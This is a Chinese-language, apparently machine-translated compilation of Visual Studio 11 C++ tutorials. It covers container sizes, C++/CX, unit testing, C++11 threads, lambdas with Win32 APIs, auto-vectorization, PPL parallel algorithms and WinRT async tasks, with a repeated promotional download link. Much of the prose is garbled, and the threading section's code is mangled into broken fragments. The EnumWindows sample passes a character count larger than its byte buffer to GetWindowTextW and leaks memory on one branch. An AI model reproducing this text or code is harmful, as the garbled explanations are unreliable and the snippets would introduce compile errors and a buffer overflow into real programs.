forward_list<int> | N/A | N/A | 8 | 4
list<int> | 28 | 12 | 12 | 8
priority_queue<int> | 28 | 20 | 20 | 16
queue<int> | 32 | 32 | 24 | 20
stack<int> | 32 | 32 | 24 | 20
pair<int, int> | 8 | 8 | 8 | 8
tuple<int, int, int> | 16 | 16 | 16 | 12
map<int, int> | 32 | 12 | 16 | 8
multimap<int, int> | 32 | 12 | 16 | 8
set<int> | 32 | 12 | 16 | 8
multiset<int> | 32 | 12 | 16 | 8
hash_map<int, int> | 72 | 44 | 44 | 32
hash_multimap<int, int> | 72 | 44 | 44 | 32
hash_set<int> | 72 | 44 | 44 | 32
hash_multiset<int> | 72 | 44 | 44 | 32
unordered_map<int, int> | 72 | 44 | 44 | 32
unordered_multimap<int, int> | 72 | 44 | 44 | 32
unordered_set<int> | 72 | 44 | 44 | 32
unordered_multiset<int> | 72 | 44 | 44 | 32
string | 28 | 28 | 28 | 24
wstring | 28 | 28 | 28 | 24

x64 Container Sizes (Bytes) | VC9 SP1 | VC9 SP1 SCL=0 | VC10 | VC11
vector<int> | 48 | 32 | 32 | 24
array<int, 5> | 20 | 20 | 20 | 20
deque<int> | 64 | 64 | 48 | 40
forward_list<int> | N/A | N/A | 16 | 8
list<int> | 56 | 24 | 24 | 16
priority_queue<int> | 56 | 40 | 40 | 32
queue<int> | 64 | 64 | 48 | 40
stack<int> | 64 | 64 | 48 | 40
pair<int, int> | 8 | 8 | 8 | 8
tuple<int, int, int> | 16 | 16 | 16 | 12
map<int, int> | 64 | 24 | 32 | 16
multimap<int, int> | 64 | 24 | 32 | 16
set<int> | 64 | 24 | 32 | 16
multiset<int> | 64 | 24 | 32 | 16
hash_map<int, int> | 144 | 88 | 88 | 64
hash_multimap<int, int> | 144 | 88 | 88 | 64
hash_set<int> | 144 | 88 | 88 | 64
hash_multiset<int> | 144 | 88 | 88 | 64
unordered_map<int, int> | 144 | 88 | 88 | 64
unordered_multimap<int, int> | 144 | 88 | 88 | 64
unordered_set<int> | 144 | 88 | 88 | 64
unordered_multiset<int> | 144 | 88 | 88 | 64
string | 40 | 40 | 40 | 32
wstring | 40 | 40 | 40 | 32

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

Visual Studio 11引入了一些深入的新的语言扩展，官方称为C + + / CX，这为了支持新的 API 模型在 Windows 8 中。一般人都会熟悉 C + + / CLI （即我们提供针对 CLR 的语言扩展），语法不应该似乎大不相同。

请注意，然而，在 C + + / CX 语法是非常类似于 C + + / CLI，底层实现是非常不同，它不使用 CLR 或垃圾回收器，与它生成完全本机代码 。

在微软支持 Windows 8 的设计中，有很多创新，包括纯库的方式，以及集成在语言中的支持的各种方法。有历史悠久的 Visual c + + 团队中支持 COM。从 MFC 在 ATL # import ，在针对 CLR 包括原始托管的扩展，C + + / CLI 和 IJW 支持编译为 MSIL 的本机代码。

但是并未称为 WRL （Windows 运行时库），并支持针对 Windows 8 没有语言扩展 Windows 8 的开发一个新的 c + + 模板库。WRL 相当好，它可以看一看，看看所有的低级的细节如何实现的照明。它是由内部使用许多 Windows 团队，虽然它不会受到许多同样的问题，ATL 支持 com 经典。
1.创作组件的仍然是非常困难的。要知道很多有关接口的低级的规则。
2.需要单独的工具 (MIDL） 给作者接口/类型。
3.有没有办法自动地图接口从低级到更高的级别 (现代) 形式，引发异常，并且具有真正的返回值。
4.没有统一的创作和消费模式。

与一些 Windows 运行库中的新概念，这些缺点变得更难比在经典 COM/ATL.接口继承并不是基于 vtable 的像是在经典.com，类继承基于一个类似的机制来聚合，但有一些区别，包括私有和受保护的接口支持。尽管有需要一个低级的工具，像 WRL 对于绝大多数的用途，但它实在太难用，是我们可以做很多更好地同时仍然保留性能，并提供大量的控制。

 # Import 功能，无法在 VC6 提供了良好的机制，为消费具有类型库的 COM 对象。类似 Windows 运行库 （它使用一个新的.winmd 文件），但时，它能提供良好的消费体验，它不进行创作。由于 Windows 移动模型很多事都异步的创作的回调是非常重要的而且没有不包括至少一些创作的许多消费情况。此外，创作是很重要的写作为每一页的用户界面的应用程序和用户定义的控制是从现有的运行时类派生的类。

微软团队早就决定应公开的类和接口比 ABI 定义什么的更高级别。支持现代 c + + 的功能，如异常被认为是重要，以及将继承 （均为接口和类） 的运行时定义映射到 c + +，很自然的一种。

拿到 WinRT 类或接口的指针。这也是接口的如何判断一个低级版本和接口的高级别版本之间的区别。有很多不同的建议，包括只使用、 使用用修饰符，并使用各种其他字符如@符号。在原始的扩展做为托管代码中，事实上未使用*修饰符 （__gc）。

很多人都已存在的 C + + / CLI 的语法。引用计数是一种形式的垃圾回收，使用^表示"refcounted"指针在 ZW 符合得很好。取消引用^的收益率%，也像 C + + / CLI。虽然很多概念都表示相同的方式，有几个领域，我们决定偏离 C + + / CLI。例如，在 C + + / CX，默认接口的类指定通过属性的接口列表时中 C + + / CLI 是类本身的属性。

在 C + + / CX 有了更好的开发模式比 C + + 进行互操作时的 CLI 引用类型与常规类型。在 C + + / CLI，托管对象可以左右移动在内存中运行时，垃圾回收器。这意味着不能得到真正的成员的地址 （不固定） 或甚至将基元类型 （如int） 除了嵌入到您的类。也不能把^到本机类或结构。在 C + + / CX，对象在内存中做不能移动，因此所有这些限制都不见了。可以将任何类型投入 ref 类，您可以将^放在任意位置。这种模式是以正常的 c + + 类型更加友好和使程序员更灵活地在 C + + / CX。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

启动 Visual Studio 11。
c + + 单元测试 (cpp)

本机单元测试项目

最小的框架创建以后就可以开始编写单元测试。

      #include "stdafx.h"
#include "CppUnitTest.h"
.using namespace Microsoft::VisualStudio::CppUnitTestFramework;
namespace UnitTest1
{
    TEST_CLASS(UnitTest1)
    {
    public:

        TEST_METHOD(TestMethod1)
        {
            Assert::AreEqual(42,42);
        }

    };
}

为了让测试处于活动状态，必须编译该项目。

注： 如果你得到的消息"C1083 致命错误： 不能打开包含文件： 'CppUnitTest.h'： 没有此类文件或目录"，它必须添加以下路径，包括和库，输入文件 (86) \Microsoft Visual Studio 11.0\VC\UnitTest\include"输入文件 (86) \Microsoft Visual Studio 11.0\VC\UnitTest\lib"

要运行测试，请选择该窗口：视图-》其他窗口。单元测试资源管理器

如果测试成功会得到如下的窗口：

将返回下一级更详细的 Visual c + + 测试框架的内容，但要注意的是它基于Microsoft.VisualStudio.TestTools.CppUnitTestFramework.lib库和头文件CppUnitTest.h、 CppUnitTestCommon.h、 CppUnitTestAssert.h、 CppUnitTestLogger.h的文件中所载的宏

对于那些有用于操作单元测试框架。将网络，包括方法如Assert::AreEqual、 NotEqual、 IsNotNull、 等，以及 Logger::WriteMessage 这种消息的日志的方法。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

Visual Studio 11增强支持的标准 C + + 11

现在支持此预览的 Visual Studio 头的 STL 中的新头文件可以进行多线程编程和异步操作管理。

，，，，，，，头文件作为其名称来创建和操作线程

~~~ thread t( { cout 提供这种排斥同步对象相互示例的效果注意，使用锁来总是对性能的影响 ！

~~~ std::this_thread::sleep_for (chrono::seconds(1)); for(int i=0;i，作为多个线程流。注意到我们使消费者和生产者为互斥体，我们转向方法wait()变量的类型condition_variable_any （它可能还使用condition_variable unique_lock 型，后者互斥体直接传递到类型unique_lock的初始化过程中未报告的状态。非终止状态指示可以获得互斥体。）

~~~ mutex lockBuffer; volatile BOOL ArretDemande=FALSE; queue buffer; condition_variable_any cndNotifierConsommateurs; condition_variable_any cndNotifierProducteur; thread ThreadConsommateur([&]() { while(true) { lockBuffer.lock (); while(buffer.empty () && ArretDemande==FALSE) { cndNotifierConsommateurs.wait(lockBuffer); } if (ArretDemande==TRUE && buffer.empty ()) { lockBuffer.unlock(); cndNotifierProducteur.notify_one (); break; }

long element=buffer.front(); buffer.pop (); cout interlock; interlock=1; while(true) { ////Simule une charge std::this_thread::sleep_for (chrono::milliseconds (15)); long element=interlock.fetch_add (1); lockBuffer.lock (); while(buffer.size()==10 && ArretDemande ==FALSE) { cndNotifierProducteur.wait (lockBuffer); } if (ArretDemande==TRUE) {

lockBuffer.unlock (); cndNotifierConsommateurs.notify_one (); break; } buffer.push(element); cout 缓冲区类型。等待() 方法使用另一种机制将这挂起，并将等待唤醒，制造者线程仅当它将调用它的方法notify_one()。

使用这里的元素类型，递增 1 在单个原子操作中我们的队列的元素。在多线程的上下文，另外，例如将总是公平的保证元素操作，而不是抢占式。  

头文件。未来用于执行异步操作的返回结果，要检索后，没有不同步或线程流量控制机制。示例中，作为互斥体的多个线程的交会点的方法 join () 和控制流对象。

事实上，假设您想要简单的加法的两个整数 A + B，但是来自两个不同的线程所返回的结果。

在下面的示例中，作为不确定何时执行的概念  

~~~ std::cout f1(async(->int { //Simule une charge std::this_thread::sleep_for (chrono::milliseconds (2000)); std::cout f2(async(->int { std::cout

Visual Studio 2010 年以来有可能在 c + + 代码中，和更具体地 STL 使用 Lambda 表达式 （匿名方法的窗体）。例如，看下面的代码执行，当使用这些类型的算法for_each、 parallel_for、 parallel_for_each等等的时候。

          std::deque<int> d1;
    d1.push_back (2);
    d1.push_back (1);
    d1.push_back(3);
    d1.push_back(0);
    auto a=d1.begin ();
    auto b=d1.end ();
    std::sort(a,b);
    std::for_each (a,b,[](int i)
    {
            std::cout << i << std::endl;
    });

Lambda 这里开始用两个字符[]以指示我们捕获语法相对于没有本地变量[] 或 [=]或我们捕获所有的本地变量由引用或备份分别。做不捕获任何变量是 lambda 说是无限定的。

现在，这种类型的 lambda 隐式转换为函数指针，换句话说，成功调用旧的 Win32 API。
此处的示例与CreateThreadpoolWorkAPI，指向函数的指针参数 1，键入PTP_WORK_CALLBACK ，比原来的 lambda明显更好一些。

          PTP_POOL pool=CreateThreadpool(NULL);
    TP_CALLBACK_ENVIRON cbEnviron;
    InitializeThreadpoolEnvironment(&cbEnviron);
    SetThreadpoolThreadMaximum (pool,4);
    BOOL bRet=SetThreadpoolThreadMinimum (pool,2);
    PTP_WORK work=CreateThreadpoolWork([]( PTP_CALLBACK_INSTANCE Instance,PVOID Context,PTP_WORK Work)
    {
        wprintf(L"Fait du boulot\n");
    },NULL,&cbEnviron);
    SubmitThreadpoolWork(work);
    WaitForThreadpoolWorkCallbacks(work,FALSE);
    CloseThreadpoolWork(work);
    CloseThreadpool(pool);

另一个示例 API EnumWindows，或我们可以对"现代 c + +代码"混合使用旧 API 调用

         BOOL ret=EnumWindows ([](HWND hwnd,LPARAM lParam)->BOOL
    {
        const size_t MAX_SIZE=2048;
        LPWSTR title=static_cast<LPWSTR>(_malloca(MAX_SIZE));            if (title!=nullptr)
        {
           ZeroMemory (title,MAX_SIZE);
            if (GetWindowTextLength (hwnd) >0)
            {
                GetWindowTextW  (hwnd,title,MAX_SIZE);
                wprintf(L"%ls\n",title);
               _freea(title);
            }
        }

        return TRUE;
    },0);

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

自动矢量器使用
在 MSDN 文档中，现在编译器自动性能方面的原因是有能力的"概述"循环和支持 SIMD 指令，这是大多数情况下调用自动性能的话，对于所有 X 86 处理器 / X 64 现代的处理器中运行的速度要快 8 倍。

与 Visual Studio 11 的预览版本中，SIMD 指令和概述记录是自动优化使用。

与 Visual Studio 2010 年 c/c + + 中下面的循环

      for (int i=0;i <MAX_;i++)
    {
        a[i]=i*7.0;
    }

给出下面的汇编程序代码用于指令和寄存器操纵的浮点数。(fld、 fmul、 fstp、 fstp、 ST (1) (0)、 ST ))

      for (int i=0;i <MAX_;i++)
    fld    QWORD PTR __real@401c000000000000
    add    esp, 4
    mov    esi, eax
    xor    eax, eax
    mov    DWORD PTR _i$83361[ebp], eax
$LN3@wmain:
    {
            a[i]=i*7.0;
            fild    DWORD PTR _i$83361[ebp]
            inc    eax
            mov    DWORD PTR _i$83361[ebp], eax
            fmul    ST(0), ST(1)
            fstp    QWORD PTR [esi+eax*8-8]
            cmp    eax, 100000000                ; 05f5e100H
            jl    SHORT $LN3@wmain
    }

Visual Studio 11 在相同的环路循环中，在默认情况下，下面的代码是在汇编程序的特定的跟踪记录代码实现。(movsd、 超低、 cvtdq2pd、 xmm0、 xmm1 ))

      for (int i=0;i <MAX_;i++)
    movsd    xmm1, QWORD PTR __real@401c000000000000
    add    esp, 4
    mov    esi, eax
    xor    ecx, ecx
    npad    5
    $LL9@wmain:
     {
           a[i]=i*7.0;
            movd    xmm0, ecx
            cvtdq2pd xmm0, xmm0
            inc    ecx
            mulsd    xmm0, xmm1
            movsd    QWORD PTR [esi+ecx*8-8], xmm0
            cmp    ecx, 100000000                ; 05f5e100H
            jl    SHORT $LL9@wmain
 }

是可能要禁用此功能吗？

是不足以转到该属性的 c + + 项目， 。代码生成。启用增强指令集和选择号增强说明 （/ 拱： IA32） （默认情况下，它是没有设置，这意味着是否启用了自动矢量化角），如下图所示

在测试机器，未设置，对应： SSE2.

它是影响性能吗？

是对 1 万的迭代循环，看下优化以后的效果

没有说明

说明

自动并行

在文档中表示，现在已经可以利用多处理器使用 VS 11的**并行处理功能，就能够启动多核优化的功能。新的指令/Qpar ，可启用此功能。

加速 c + + 的大规模并行处理 (AGP) 支持

VS 11 将使它也能够利用 GPGPU 中的图形卡的可能性。换句话说，它将可以混合使用传统代码 CPU 和 GPU 代码。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

 Visual Studio 11，具备并行模式库和代理库、 更轻松地开发多核处理器上运行的并行代码。
这些库的主要范例是根据任务 和并发运行库，自定义的调度程序 进行处理的。

到目前为止，处理任务的的概念原型，就使用task_handle 类型 如下所示：

      task_group task;
     int i=0;
     auto  t1=make_task([&i]()
         {
            i=42;
         });
     int z=0;
     auto t2=make_task([&z]()
         {
            z=42;
         });
     task.run_and_wait (t1);
     task.run_and_wait (t2);
     std::wcout << i+z << std::endl;
     std::wcout << "Fini" << std::endl;

这里计算的 i + z 是必须得到的 lambda 表达式中引用变量 。然后这两个任务并行完成它们的工作。

使用 Visual Studio 11，可以直接使用的task类型的概念，如下所示：

      task<int> t1=task<int>(->int
         {
            return 42;
         });
     task<int> t2=task<int>(->int
         {
             return 42;
         });
     std::wcout << t1.get() +t2.get () << std::endl;

为了简化语法，更需要为每项任务捕获变量的引用，要通过调用方法wait()的每个任务并返回值角色的方法get ()，获取状态以便处理 。

task类的异步任务的遵循设置的运行规则，无需等待，即是说，不论Tn 取决于 Tn-1 任务的任务以及前一任务已完成或没有。

异步操作将概括为避免假死的用户界面，很重要的是为了简化开发过程，以前的VS经常卡死，加载控件的时候。

若要实现这一概念，task类实现的then()方法，将会执行一次已经完成后的该任务。

      task<int> t1=task<int>(->int
     {
         return 42;
     }).then ([](int i)->int
        {
             return i+42;
         });
task<int> t2=task<int>(->int
     {
         //simule une charge
         std::this_thread::sleep_for (chrono::seconds (1));              return 42;
    }).then ([](int i)->int
         {

             return i+42;
         });
 std::wcout << t1.get() + t2.get() << std::endl;

每项任务的返回值是作为参数传递，例如lambda 表达式中的then()方法。

并行算法还包括 （parallel_for、 parallel_for_each、 parallel_invoke ）)

并行算法的尝试

parallel_sort 、 parallel_radixsort、 parallel_buffered_sort的标准如果命令它只运行并行模式，其中使用算法的方式都相同。

      vector<unsigned int> v3;
parallel_sort(begin(v3),end(v3))

虽然在大多数情况下，这是一个简单的类整数的性能足够流畅了（示例矢量的整数 40 000 000，得到一个序列(std::sort)和parallel_sort()，允许更好地调控，会提高性能）

每种算法，都用来做重载，这个方法允许设置的字符串的排序和要使用的分区的大小。

      vector<unsigned int> v2;
       parallel_sort(begin(v2),end(v2),[](const unsigned int& l,const unsigned int& r)->bool
    {
        return (l<r);
    },4096);

默认分区大小为 2048，对于大多数情况下就足够了。可以调整最后一个分区的大小来提高性能。如果分区大小《=向量的大小，将使用任何方法std::sort ()中。（默认情况下，如果向量的元素的数目 < = 2048总是使用std::sort ()版本)。

      inline void parallel_sort(const _Random_iterator &_Begin, const _Random_iterator &_End, const _Function &_Func, const size_t _Chunk_size = 2048)
 {
     _CONCRT_ASSERT(_Chunk_size > 0);
    // We make the guarantee that if the sort is part of a tree that has been canceled before starting, it will
     // not begin at all.
     if (is_current_task_group_canceling())
     {
         return;
     }
     size_t _Size = _End - _Begin;
     size_t _Core_num = Concurrency::details::_CurrentScheduler::_GetNumberOfVirtualProcessors();
    if (_Size <= _Chunk_size || _Core_num < 2)
     {
         return std::sort(_Begin, _End, _Func);
     }
    _Parallel_quicksort_impl(_Begin, _Size, _Func, _Core_num * _MAX_NUM_TASKS_PER_CORE, _Chunk_size, 0);
 21.}

系统至少不会以任何方式使用 std::sort () 的虚拟处理器。

可用其他算法的尝试并根据实际需要。例如，在例子中的是基数排序

      vector<unsigned int> v4;
parallel_radixsort(begin(v4),end(v4));

提供更好的结果 197.09 上 40 000 000 个项目。默认分区大小为 256 * 256

parallel_buffered_sort给 631

       parallel_buffered_sort(begin(v5),end(v5));

减少

线程申请的数量，最小，最多的一组所有成员称为一般减少。应用减少并行可以或者涉及争用条件或问题的另外的浮点操作的舍入为例。

例如双平行处理的循环，循环的量的一种方法是使用concurrency::combinable 对象

         combinable<double> sumReduction;
   parallel_for_each(begin(v1),end(v1),[&sumReduction](double i)
    {
        sumReduction.local ()+=i;
    });
    sum=sumReduction.combine (std::plus<double>());

Visual Studio 11，现在可以使用算法parallel_reduce()，比类型算法的使用效率更高(concurrency::combinable)。

它的使用是相对处理算法（ std::accumulate)

          vector<double>::const_iterator deb=begin(v1);
    vector<double>::const_iterator fin=end(v1);
    auto identity=std::iterator_traits<vector<double>::const_iterator>::value_type();
    sum= parallel_reduce(deb,fin,identity,std::plus<double>());

转型

最后的算法是加工parallel_transformation()算法

      parallel_transform(begin(v1),end(v1),begin(v2),[](double value)->double
{
    return value*2;
});

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

莱坞星探通常要拒绝那些有抱负的演员时，都会轻蔑地说：“别联系我们，我们会联系你的。”然而对于开发人员来说，那句话却道出了许多软件框架工作的秘密，与其让程序员驱动整个应用程序的控制流，不如让框架控制环境并调用程序员提供的回调或事件处理程序。
在异步系统中，本范例让你将异步操作的开始与完成进行分离。程序员启动操作，然后注册回调，并在结果可用时调用回调。不必等待完成意味着你可以在操作运行期间执行有用的工作，例如，处理消息循环或启动其他异步操作。如果你对所有潜在阻止的操作严格遵循此模式，则“毛玻璃窗口”、“旋转的同心圆”以及其他此类现象都将成为历史。正如你曾听到的那样，你的应用程序将变得快而流畅。

在 Windows 8 中，异步操作很普遍，并且 WinRT 提供了一个新编程模型，以一致方式对异步进行处理。

图 1演示了处理异步操作的基本模式。在这段代码中，C++ 函数从文件读取字符串。

图 1 从文件进行读取

      template<typename Callback>
void ReadString(String^ fileName, Callback func)
{
  StorageFolder^ item = KnownFolders::PicturesLibrary;

  auto getFileOp = item->GetFileAsync(fileName);
  getFileOp->Completed = ref new AsyncOperationCompletedHandler<StorageFile^>
    ([=](IAsyncOperation<StorageFile^>^ operation, AsyncStatus status)
  {
    auto storageFile = operation->GetResults();
    auto openOp = storageFile->OpenAsync(FileAccessMode::Read);
    openOp->Completed =
      ref new AsyncOperationCompletedHandler <IRandomAccessStream^>
      ([=](IAsyncOperation<IRandomAccessStream^>^ operation, AsyncStatus status)
    {
      auto istream = operation->GetResults();
      auto reader = ref new DataReader(istream);
      auto loadOp = reader->LoadAsync(istream->Size);
      loadOp->Completed = ref new AsyncOperationCompletedHandler<UINT>
        ([=](IAsyncOperation<UINT>^ operation, AsyncStatus status)
      {
        auto bytesRead = operation->GetResults();
        auto str = reader->ReadString(bytesRead);
        func(str);
      });
    });
  });
}

要注意的第一件事情是 ReadString 的返回类型为 void。没错：该函数不返回值；相反，它使用用户提供的回调，并在结果可用时调用回调。欢迎来到异步编程的世界：“别联系我们，我们会联系你的！”

WinRT 异步操作的分析

WinRT 中异步的核心是在 Windows::Foundation 命名空间中定义的四个接口：IAsyncOperation、IAsyncAction、IAsyncOperationWithProgress 和 IAsyncActionWithProgress。WinRT 中所有潜在阻止或长期运行的操作都被定义为异步。按照惯例，方法的名称都以“Async”结尾，而返回类型则为四个接口中的一个。例如图 1 所示示例中的方法 GetFileAsync，它返回 IAsyncOperation<StorageFile^>。许多异步操作不返回值，且它们的类型为 IAsyncAction。可以报告进度的操作将通过 IAsyncOperationWithProgress 和 IAsyncActionWithProgress 公开。

要为异步操作指定完成回调，可以设置 Completed 属性。该属性是一个接收异步接口和完成状态的委托。尽管该委托可以使用函数指针进行实例化，但你通常使用 lambda（我希望到现在为此，你已经熟悉这部分的 C++11）。

要获得操作的值，需要对接口调用 GetResults 方法。请注意，尽管这是从 GetFileAsync 调用返回给你的同样接口，但是当你位于完成处理程序中时，你只能对它调用 GetResults。

完成委托的第二个参数是 AsyncStatus，它返回操作的状态。在实际的应用程序中，你将先检查它的值再调用 GetResults。在图 1中，为了简单起见而省略了这部分。

你经常会发现，自己同时使用多个异步操作。在我的示例中，我首先获取 StorageFile 的实例（通过调用 GetFileAsync），然后使用 OpenAsync 打开它，再获取 IInputStream。接下来，我加载数据 (LoadAsync) 并使用 DataReader 进行读取。最后，获取字符串并调用用户提供的回调函数。

组合

将操作的启动和完成分离对于消除阻止调用非常重要。问题是撰写多个基于回调的异步操作非常困难，并且得到的代码很难研究和调试。必须采取措施控制随之发生的“回调乱局”。

让我们看一个具体的示例。我想使用之前示例中的 ReadString 函数按顺序在两个文件中进行读取，然后将结果连接成一个字符串。我打算再次将它实现为采用回调的函数：

      template<typename Callback>
void ConcatFiles1(String^ file1, String^ file2, Callback func)
{
  ReadString(file1, [func](String^ str1) {
    ReadString(file2, [func](String^ str2) {
      func(str1+str2);
    });
  });
}

效果还不错吧？

如果你看不出这个解决方案存在的瑕疵，那么请考虑下这个问题：什么时候开始从 file2 进行读取？你真的需要先读完第一个文件，再开始读第二个文件吗？当然不是！积极启动多个异步操作并在数据传入时进行处理，效果要好得多。

我们来试一试。首先，因为我并发启动了两个操作，并在操作完成前从函数返回，所以我需要一个特殊的堆分配对象存放中间结果。我将它命名为 ResultHolder：

      ref struct ResultHolder
{
  String^ str;
};

如图2所示，接下来的第一个操作是设置 results->str 成员。要完成的第二个操作将用它构成最终的结果。

图2并发从两个文件进行读取

      template<typename Callback>
void ConcatFiles(String^ file1, String^ file2, Callback func)
{
  auto results = ref new ResultHolder();

  ReadString(file1, [=](String^ str) {
    if(results->str != nullptr) { // Beware of the race condition!
          func(str + results->str);
    }
    else{
      results->str = str;
    }
  });

  ReadString(file2, [=](String^ str) {
    if(results->str != nullptr) { // Beware of the race condition!
          func(results->str + str);
    }
    else{
      results->str = str;
    }
  });
}

大多数时候这种做法都是奏效的。该代码有很明显的争用条件，并且它不处理错误，因此我们仍然有很多工作要做。对于结合两个操作这么简单的事情，却用了这么多的代码，难免会出错。

并行模式库中的任务

Visual Studio 并行模式库 (PPL) 旨在让 C++ 中异步并行程序的编写变得简单而高效。PPL 用户可以使用诸如任务、并行算法（例如 parallel_for 和 parallel_sort）等更高级的抽象和并发友好型容器（例如 concurrent_vector），来取代在线程和线程池级运行。

PPL 任务类是下一版 Visual Studio 中的新增功能，它使你可以简洁地表示要异步执行的单个工作单元。使用该功能可以按照独立（或互相独立）任务表达程序逻辑，然后让运行时以最佳方式安排这些任务。

任务之所以这么有用，是因为它们的可组合性。在最简单的形式中，对于两个任务，可以将一个任务声明为另一个任务的延续来按顺序编写。这看起来非常简单的结构却允许你以有趣的方式组合多个任务。诸如联接和选项（我稍后再进行介绍）的许多更高级 PPL 构造都是通过这个概念自我建构的。任务延续还可用于以更简洁方式表示异步操作的完成。让我们重新看看图1中的示例，现在使用 PPL 任务编写它，如图3所示。

图 3 使用嵌套的 PPL 任务从文件进行读取

      task<String^> ReadStringTask(String^ fileName)
{
  StorageFolder^ item = KnownFolders::PicturesLibrary;
  task<StorageFile^> getFileTask(item->GetFileAsync(fileName));
  return getFileTask.then([](StorageFile^ storageFile) {
    task<IRandomAccessStream^> openTask(storageFile->OpenAsync(
      FileAccessMode::Read));
    return openTask.then([](IRandomAccessStream^ istream) {
      auto reader = ref new DataReader(istream);
      task<UINT> loadTask(reader->LoadAsync(istream->Size));
      return loadTask.then([reader](UINT bytesRead) {
        return reader->ReadString(bytesRead);
      });
    });
  });
}

因为我现在使用任务而不是回调表示异步，所以用户提供的回调消失了。该函数实际改为返回任务。

在实现过程中，我从 GetFileAsync 返回的异步操作创建了 getFileTask 任务，然后将该操作的完成设置为任务的延续（使用 then 方法）。

then 方法值得仔细研究一下。该方法的参数是 lambda 表达式。实际上，参数还可以是函数指针、函数对象或 std::function 的实例，但是因为 lambda 表达式在 PPL 中十分普遍（实际上在现代的 C++ 中也一样），从这里开始我将只说“lambda”，用来表示所有类型的可调用对象。

then 方法的返回类型是某类型 T 的任务。这种类型 T 由传递给 then 的 lambda 返回类型决定。在最基本的形式下，当 lambda 返回类型 T 的表达式时，then 方法返回 task。例如，下面延续中的 lambda 返回了 int；因此，生成类型为 task：

      task<int> myTask = someOtherTask.then([]() { return 42; });

图 3中使用的延续类型稍有不同。它返回一个任务并执行该任务的异步展开，所以生成类型不是 task<task>，而是 task：

      task<int> myTask = someOtherTask.then([]() {
  task<int> innerTask([]() {
    return 42;
  });
  return innerTask;
});

如果所有这些让你觉得有点头大，不要紧，继续往下看。我保证在几个具有代表意义的示例之后，立即就会豁然开朗起来的。

任务组合

根据上面部分讲述的内容，继续在文件读取示例的基础上进行构建。

前面曾提到，C++ 中函数和 lambda 的所有本地变量在返回时均已丢失。要保持该状态，你必须手动将变量复制到堆或其他某个生存期较长的存储。这就是为什么我之前就创建了储存器类。在异步运行的 lambda 中，请务必小心不要通过指针或引用捕获外围函数的任何状态；否则，当函数完成时，你将随指针终止于一个无效的内存位置。

我要强调的是，then 方法对异步接口执行了展开操作，我以更简洁的形式重写了示例，然而成本只不过是引入了另一个储存器结构，如图 4 所示。

图 4 链接多个任务

      ref struct Holder
{
  IDataReader^ Reader;
};
task<String^> ReadStringTask(String^ fileName)
{
  StorageFolder^ item = KnownFolders::PicturesLibrary;

  auto holder = ref new Holder();

  task<StorageFile^> getFileTask(item->GetFileAsync(fileName));
  return getFileTask.then([](StorageFile^ storageFile) {
    return storageFile->OpenAsync(FileAccessMode::Read);
  }).then([holder](IRandomAccessStream^ istream) {
    holder->Reader = ref new DataReader(istream);
    return holder->Reader->LoadAsync(istream->Size);
  }).then([holder](UINT bytesRead) {
    return holder->Reader->ReadString(bytesRead);
  });
}

与图3*中的示例相比，这段代码更易于阅读，因为它呈现的是按顺序的步骤，而不是“楼梯式”的嵌套操作。

除了 then 方法，PPL 还具有一些其他组合构造。其中一个是联接操作，由 when_all 方法实现。when_all 方法采用一系列任务然后返回生成任务，生成任务将构成任务的所有输出收集到 std::vector 中。对于两个参数的一般情况，PPL 具有一个简便的表达方法：运算符 &&。

这就是我如何使用联接运算符重新实现文件串联方法：

      task<String^> ConcatFiles(String^ file1, String^ file2)
{
  auto strings_task = ReadStringTask(file1) && ReadStringTask(file2);
  return strings_task.then([](std::vector<String^> strings) {
    return strings[0] + strings[1];
  });
}

选项操作也很有用。如果有一系列的任务，选项（通过 when_any 方法实现）在序列中第一个任务完成时完成。像联接一样，选项也具有一个双参数的简便表达方法，使用运算符 ||。

选项在冗余或推测执行的情况下比较方便；你启动多个任务，由要完成的第一个任务提供所需的结果。你还可以对操作添加超时设置 - 启动一个返回任务的操作，然后将它与休眠指定时间量的任务相组合。如果休眠任务先完成，就表示你的操作超时，因此被放弃或取消。

PPL 具有另一个有助于任务可组合性的构造 (task_completion_event)，你可以将它用于任务与非 PPL 代码的交互操作。task_completion_event 可以传递给线程或期望最后设置的 IO 完成回调。从 task_completion_event 创建的任务在设置 task_completion_event 之后即完成。

使用 PPL 编写异步操作

无论何时你需要发挥硬件的最大性能，C++ 语言都是你的明智之选。其他语言在 Windows 8 中发挥各自的作用：JavaScript/HTML5 组合很适合编写 GUI；C# 提供高效的开发人员体验；等等。要编写 Metro 样式的应用程序，请使用你擅长的方法和你了解的方式。实际上，你可以在同一个应用程序中使用多种语言。

你经常会发现，编写应用程序前端时使用 JavaScript 或 C# 等语言，而编写后端组件时则使用 C++ 语言，以获得最大性能。如果 C++ 组件导出的操作受计算限制或受 I/O 限制，最好将该操作定义为异步操作。

为实现之前介绍的四种 WinRT 异步接口（IAsyncOperation、IAsyncAction、IAsyncOperationWithProgress 和 IAsyncActionWithProgress），PPL 在并发命名空间中同时定义了 create_async 方法和 progress_reporter 类。

在最简单的形式中，create_async 采用返回值的 lambda 或函数指针。lambda 的类型决定从 create_async 返回的接口的类型。

如果某个无参数 lambda 返回非 void 类型 T，则 create_async 返回 IAsyncOperation 的实现。对于返回 void 的 lambda，生成接口为 IAsyncAction。

lambda 可以采用 progress_reporter

类型的参数。该类型的实例用于将类型 P 的进度报告发布回调用方。例如，采用 progress_reporter 的 lambda 可以使用整数值报告完成百分比。这种情况下，lambda 的返回类型决定生成接口是 IAsyncOperationWithProgress<T,P> 还是 IAsyncAction

参见图5。

图 5 在 PPL 中编写异步操作

IAsyncOperation<float>^ operation = create_async([]() {
  return 42.0f;
});

IAsyncAction^ action = create_async([]() {
    // Do something, return nothing
});

IAsyncOperationWithProgress<float,int>^ operation_with_progress =
  create_async([](progress_reporter<int> reporter) {
    for(int percent=0; percent<100; percent++) {
      reporter.report(percent);
    }
    return 42.0f;
  });

IAsyncActionWithProgress<int>^ action_with_progress =
  create_async([](progress_reporter<int> reporter) {
    for(int percent=0; percent<100; percent++) {
      reporter.report(percent);
    }
  });

